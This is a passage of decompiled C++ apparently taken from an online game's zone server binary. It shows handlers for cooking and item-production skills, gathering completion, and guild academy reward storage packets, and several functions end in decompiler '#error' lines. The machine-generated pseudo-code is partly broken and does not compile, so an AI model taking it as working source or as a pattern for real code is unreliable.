GatherProduce::RecipeBook::operator__(&recipebook, skill); if ( v5 != 0 ) { ItemProducer::ItemProducer(&this, (#734 *)v2, (ItemBag *)v2 + 8920, v5); v7 = *((_DWORD *)v2 + 14470); LOBYTE(v15) = 1; if ( (unsigned __int8)(*(int (__thiscall **)(char *))(v7 + 20))((char *)v2 + 57880) ) { v3->protocol = 8293; *((_WORD *)v4 + 1) = v5->product; *(_WORD *)v4 = 2826; } else { v8 = ItemProducer::ip_ProduceCheck(&this); if ( v8 == 2817 ) { v3->protocol = 13432; *(_WORD *)v4 = *((_WORD *)v2 + 2); *(_DWORD *)(v4 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v10 = ItemProducer::ip_ProductExecute(&this, (#734 *)v2, v3, (PROTO_NC_ITEMDB_PRODUCE_REQ *)v4) + 2; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_Cooking : Packet Too Long", v10); } goto LABEL_15; } v3->protocol = 8293; *((_WORD *)v4 + 1) = v5->product; *(_WORD *)v4 = v8; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::smo_ply_Cooking : Packet Too Long", 6); } LABEL_15: LOBYTE(v15) = 0; ItemProducer::_ItemProducer(&this); goto LABEL_16; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Invalid skill", skill); v3->protocol = 8293; *((_WORD *)v4 + 1) = -1; *(_WORD *)v4 = 2825; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::smo_ply_Cooking : Packet Too Long", 6); } LABEL_16: --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_Cooking"); __security_check_cookie((unsigned int)&_ ^ v14); } //----- (0045BF40) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_COOKING_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { int v3; // edx@1 void *v4; // esi@1 int v5; // eax@5 int v6; // eax@6 int v7; // ST14_4@7 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 char *v10; // eax@8 int v11; // ST04_4@8 int v12; // eax@8 char *v13; // eax@9 int v14; // eax@11 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@8 int v16; // [sp+20h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_COOKING_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_COOKING_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; v16 = 0; v4 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v3); if ( v4 && (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4) == *(_DWORD *)&netcmd[2].protocol && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 768))(v4) ) { if ( netcmd[6].protocol == 2817 ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v6 + 32))( v6, v4, netcmd[4].protocol, 0) ) { v7 = netcmd[4].protocol; v8 = DebugLogging::operator<<(&LockIndexLog, "GameDBSession::gds_NC_ITEMDB_COOKING_ACK : "); v9 = DebugLogging::operator<<(v8, v7); DebugLogging::operator<<(v9, &deb_LF); } v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8294; *((_WORD *)v10 + 1) = *((_WORD *)v4 + 2); *((_WORD *)v10 + 2) = netcmd[5].protocol; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v11 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v16) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v5 + 40))(v5, netcmd[4].protocol); } v13 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8293; *((_WORD *)v13 + 2) = netcmd[5].protocol; *((_WORD *)v13 + 1) = netcmd[6].protocol; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "GameDBSession::gds_NC_ITEMDB_COOKING_ACK : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_COOKING_ACK"); } //----- (0045C130) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Gather(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Gather"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_Gather"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_GatherComplete(v1, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Gather"); return 0; } // 45A1C0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_GatherComplete(_DWORD, _DWORD); //----- (0045C1D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v4 + 35793) = 0; *((_DWORD *)v4 + 35794) = CGambleObject::GDTSO_GetGameStatus; *((_DWORD *)v4 + 35797) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v4 + 35796) = 0; ShineObjectClass::ShinePlayer::sp_GatherComplete(v4, 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"); } // 45A1C0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_GatherComplete(_DWORD, _DWORD); //----- (0045C290) -------------------------------------------------------- #error "45C290: undefined or illegal type '#593' (funcsize=195)" //----- (0045C560) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // eax@5 int v6; // eax@7 GatherProduce::RecipeBook::ProductIndex *v7; // edi@12 SkillDataBox::SkillDataIndex *v8; // eax@15 char *v9; // eax@17 int v10; // ST04_4@17 int v11; // eax@17 signed int v12; // [sp-4h] [bp-30h]@4 FunctionEntarance _; // [sp+10h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@17 int v15; // [sp+28h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !(_S17_7 & 1) ) { _S17_7 |= 1u; cmc_44.cmc_AllowMode = 6; atexit(_E18_9); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_44.cmc_AllowMode) ) { v12 = 2820; LABEL_20: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 54, v12); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"); return; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 156) ) { v12 = 2833; goto LABEL_20; } v6 = *((_DWORD *)v4 + 35796); if ( v6 == 2 || v6 == 3 ) { v12 = 2823; goto LABEL_20; } if ( CharaterSkillList::csl_CoolTimeCheck( (CharaterSkillList *)((char *)v4 + 68496), (#593 *)v4, *(_WORD *)(netcmd + 2)) ) { ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear((char *)v4 + 7184); v7 = GatherProduce::RecipeBook::operator__(&recipebook, *(_WORD *)(netcmd + 2)); if ( AssertClass::operator__( &shineassert, v7 != 0, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ : Skill cannot found", 0) || AssertClass::operator__( &shineassert, v7->product != -1, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ : Invalid Item Produce", 0) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 54, 2825); } else { v8 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(netcmd + 2)); *((_DWORD *)v4 + 1801) = v8; if ( AssertClass::operator__( &shineassert, v8 != 0, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ : Invalid skill", *(_WORD *)(netcmd + 2)) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 54, 2825); } else { *((_DWORD *)v4 + 1796) = 1000 * (((signed int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(*((_DWORD *)v4 + 1801) + 4) + 199) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(*((_DWORD *)v4 + 1801) + 4) + 199) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31)) / *((_WORD *)v4 + 71360) + clockwatch.cw_CurrTick; *((_WORD *)v4 + 3594) = *(_WORD *)(netcmd + 2); *((_BYTE *)v4 + 7226) = 0; *((_DWORD *)v4 + 1800) = 0; *((_DWORD *)v4 + 1799) = 0; *((_DWORD *)v4 + 1802) = v7; v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8248; *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); *((_WORD *)v9 + 2) = v7->product; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v15) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } v15 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 54, 2824); v15 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (0045C880) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CAST_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // eax@5 int v6; // eax@7 unsigned __int16 v7; // ax@10 int v8; // ST04_4@12 int v9; // eax@12 UseEffect::UIE_Functions *v10; // eax@15 SkillDataBox::SkillDataIndex *v11; // eax@16 unsigned __int16 v12; // bp@17 GatherProduce::RecipeBook::ProductIndex *v13; // edi@19 SkillDataBox::SkillDataIndex *v14; // eax@22 unsigned int v15; // eax@24 unsigned int v16; // edx@24 char *v17; // eax@24 int v18; // ST04_4@24 int v19; // eax@24 signed int v20; // [sp-4h] [bp-30h]@13 FunctionEntarance _; // [sp+10h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@24 int v23; // [sp+28h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CAST_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CAST_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CAST_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v23 = 0; if ( !(_S26_5 & 1) ) { _S26_5 |= 1u; cmc_45.cmc_AllowMode = 6; atexit(_E27_4); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_45.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 96, 2820); LABEL_28: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CAST_REQ"); return; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 156) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 96, 2833); goto LABEL_28; } v6 = *((_DWORD *)v4 + 35796); if ( v6 == 2 || v6 == 3 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 96, 2823); goto LABEL_28; } v7 = MobDataBox::mdb_2MobID(&mobdatabox, "Camp"); if ( v7 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CAST_REQ : MobIndex not found", "Camp"); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 96, 2818); v23 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } alnsFire._NpcID = v7; alnsFire.baseclass_0.alns_bp = 0; v8 = *(_DWORD *)((char *)v4 + 78); v9 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v9, v8, (char *)0x64, 0, (int)&alnsFire, 1, 65535); if ( !AxialListNearScanNPC::IsFireExist(&alnsFire) ) { v20 = 2837; LABEL_14: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 96, v20); v23 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v10 = UseEffect::UsedItemEffect::operator__(&useditemeffect, *(_WORD *)(netcmd + 2)); if ( !v10 || (v11 = v10->useskill) == 0 ) { v20 = 2825; goto LABEL_14; } v12 = v11->sdi_Activ->ID; if ( !CharaterSkillList::csl_CoolTimeCheck( (CharaterSkillList *)((char *)v4 + 68496), (#593 *)v4, skilldatabox.sdb_SpecSkill.ss_CookingMain) ) { v20 = 2824; goto LABEL_14; } ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear((char *)v4 + 7184); v13 = GatherProduce::RecipeBook::operator__(&recipebook, v12); if ( AssertClass::operator__( &shineassert, v13 != 0, "ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CAST_REQ : Skill cannot found", 0) || AssertClass::operator__( &shineassert, v13->product != -1, "ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CAST_REQ : Invalid Item Produce", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 96, 2825); } else { v14 = SkillDataBox::operator__(&skilldatabox, v12); *((_DWORD *)v4 + 1801) = v14; if ( AssertClass::operator__( &shineassert, v14 != 0, "ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CAST_REQ : Invalid skill", v12) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 96, 2825); } else { v15 = 1000 * (((signed int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(*((_DWORD *)v4 + 1801) + 4) + 199) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(*((_DWORD *)v4 + 1801) + 4) + 199) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31)) / *((_WORD *)v4 + 71360); v16 = clockwatch.cw_CurrTick; *((_WORD *)v4 + 3594) = v12; *((_DWORD *)v4 + 1800) = 0; *((_DWORD *)v4 + 1799) = 0; *((_BYTE *)v4 + 7226) = 1; *((_DWORD *)v4 + 1802) = v13; *((_DWORD *)v4 + 1796) = v15 + v16; v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8290; *((_WORD *)v17 + 1) = *((_WORD *)v4 + 2); *((_WORD *)v17 + 2) = v13->product; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v18 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v23) = 1; v19 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v19, v18, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v23) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } v23 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0045CC90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreGradeFill(int this, char Grade) { char result; // al@1 result = Grade; *(_BYTE *)(this + 68488) = Grade; return result; } //----- (0045CCA0) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_ply_isGuildAcademyRewardStoreGrade() { return 99; } //----- (0045CCB0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildAcademyRewardStoreGrade(int this) { return *(_BYTE *)(this + 68488) <= 0u; } //----- (0045CCC0) -------------------------------------------------------- #error "45CCC0: undefined or illegal type '#593' (funcsize=29)" //----- (0045CD10) -------------------------------------------------------- #error "45CD10: undefined or illegal type '#593' (funcsize=71)" //----- (0045CE30) -------------------------------------------------------- void __thiscall ShineGuildAcademyGuildBuff::ShineGuildAcademyGuildBuff(ShineGuildAcademyGuildBuff *this, PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD *pGuildBuff) { this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyGuildBuff::_vftable_; this->sgagb_GuildBuff = pGuildBuff; this->sgagb_dic = AbnormalStateDictionary::AbState::as_FromName(&dic_abstate, pGuildBuff->BuffName); } // 6412EC: using guessed type int (__stdcall *ShineGuildAcademyGuildBuff___vftable_)(int, int nGuildNo); //----- (0045CE90) -------------------------------------------------------- #error "45CE90: undefined or illegal type '#593' (funcsize=131)" //----- (0045D030) -------------------------------------------------------- #error "45D030: undefined or illegal type '#593' (funcsize=98)" //----- (0045D180) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck(void *this, int reward_ack) { void *v2; // ebp@1 signed int v3; // esi@1 bool v4; // zf@1 int v5; // edi@5 int v6; // edx@5 char *v7; // esi@8 int v8; // eax@8 __int64 v9; // qax@8 int v10; // edi@10 char *v11; // esi@12 int v12; // eax@12 int v13; // edx@12 char *v14; // [sp-4h] [bp-68h]@2 int j; // [sp+10h] [bp-54h]@1 int i; // [sp+14h] [bp-50h]@10 int v17; // [sp+18h] [bp-4Ch]@5 FunctionEntarance _; // [sp+1Ch] [bp-48h]@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG tempring; // [sp+20h] [bp-44h]@8 unsigned int v20; // [sp+54h] [bp-10h]@1 int v21; // [sp+60h] [bp-4h]@1 v2 = this; v20 = (unsigned int)&j ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_WORD *)(reward_ack + 6) == 6304; v21 = 0; if ( v4 ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2136))(v2) == 1 ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2140))(v2) ) { v6 = *(_DWORD *)v2; v17 = *(_DWORD *)(reward_ack + 12); v5 = v17; if ( (*(int (__thiscall **)(void *))(v6 + 2140))(v2) == v17 ) { if ( *(_DWORD *)(reward_ack + 48) || *(_DWORD *)(reward_ack + 44) ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26510; v7 += 2; *v7 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v7 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v7 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v7 + 7) = v5; v7[11] = 1; v7[12] = 3; v7[13] = 2; *(_DWORD *)(v7 + 33) = *(_DWORD *)(reward_ack + 44); *(_DWORD *)(v7 + 37) = *(_DWORD *)(reward_ack + 48); *(_DWORD *)(v7 + 41) = *(_DWORD *)(reward_ack + 52); *(_DWORD *)(v7 + 45) = *(_DWORD *)(reward_ack + 56); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); Name4::operator_((int)(v7 + 15), v8); *(_WORD *)(v7 + 31) = -1; v7[14] = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v7, 0x30u); BYTE7(tempring.storage_cen) = v7[48]; GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); LODWORD(v9) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1072))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1084))( v2, *(_DWORD *)(reward_ack + 44) + v9, (unsigned __int64)(*(_QWORD *)(reward_ack + 44) + v9) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1092))(v2); v3 = -1; } if ( *(_BYTE *)(reward_ack + 60) ) { v10 = reward_ack + 64; i = 0; for ( j = reward_ack + 64; ; v10 = j ) { v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26510; v11 += 2; *v11 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v11 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v11 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v11 + 7) = v17; v11[11] = 1; v11[12] = 3; v11[13] = 1; v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); *(_DWORD *)(v11 + 15) = *(_DWORD *)v12; *(_DWORD *)(v11 + 19) = *(_DWORD *)(v12 + 4); *(_DWORD *)(v11 + 23) = *(_DWORD *)(v12 + 8); *(_DWORD *)(v11 + 27) = *(_DWORD *)(v12 + 12); *(_WORD *)(v11 + 31) = *(_WORD *)(v10 - 2); v11[14] = *(_BYTE *)v10; *(_DWORD *)(v11 + 33) = *(_DWORD *)(v10 + 2); *(_DWORD *)(v11 + 37) = 0; *(_DWORD *)(v11 + 41) = 0; *(_DWORD *)(v11 + 45) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v11, 0x30u); BYTE7(tempring.storage_cen) = v11[48]; GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); j += 9; v13 = *(_BYTE *)(reward_ack + 60); ++i; if ( i >= v13 ) break; } v3 = -1; } } } } v14 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"; } else { v14 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"; } --funcallanalizer.fca_stackpoint; v21 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); __security_check_cookie((unsigned int)&j ^ v20); } //----- (0045D470) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng(void *this, int reward) { void *v2; // ebx@1 char *v3; // esi@9 int v4; // esi@9 int v5; // eax@9 char v6; // al@9 int v7; // ecx@11 int v8; // edx@11 int v9; // eax@11 int v10; // edx@11 int v11; // eax@12 int v12; // edx@14 int v13; // ecx@14 int v14; // ebp@14 int v15; // ecx@14 __int64 v16; // qax@17 const char *v17; // [sp-8h] [bp-2038h]@2 int v18; // [sp-4h] [bp-2034h]@2 char *v19; // [sp-4h] [bp-2034h]@18 int v20; // [sp+10h] [bp-2020h]@1 int v21; // [sp+14h] [bp-201Ch]@10 int i; // [sp+18h] [bp-2018h]@9 FunctionEntarance _; // [sp+1Ch] [bp-2014h]@1 int buff; // [sp+20h] [bp-2010h]@12 __int16 v25; // [sp+24h] [bp-200Ch]@12 char v26; // [sp+26h] [bp-200Ah]@12 int v27; // [sp+27h] [bp-2009h]@12 int v28; // [sp+2Bh] [bp-2005h]@12 int v29; // [sp+2Fh] [bp-2001h]@12 int v30; // [sp+33h] [bp-1FFDh]@12 int v31; // [sp+37h] [bp-1FF9h]@12 int v32; // [sp+3Bh] [bp-1FF5h]@12 int v33; // [sp+3Fh] [bp-1FF1h]@12 int v34; // [sp+43h] [bp-1FEDh]@12 int v35; // [sp+47h] [bp-1FE9h]@12 char v36; // [sp+4Bh] [bp-1FE5h]@12 char v37; // [sp+4Ch] [bp-1FE4h]@13 unsigned int v38; // [sp+2020h] [bp-10h]@1 int v39; // [sp+202Ch] [bp-4h]@1 v2 = this; v38 = (unsigned int)&v20 ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v39 = 0; if ( !reward ) { v18 = 0; v17 = "ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - reward null"; LABEL_20: AssertClass::ac_AssertFail(&shineassert, v17, v18); v39 = -1; v19 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"; goto LABEL_21; } if ( *(_WORD *)(reward + 6) != 6304 ) { v18 = 0; v17 = "ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - receive error"; goto LABEL_20; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2136))(v2) != 1 ) { v18 = 0; v17 = 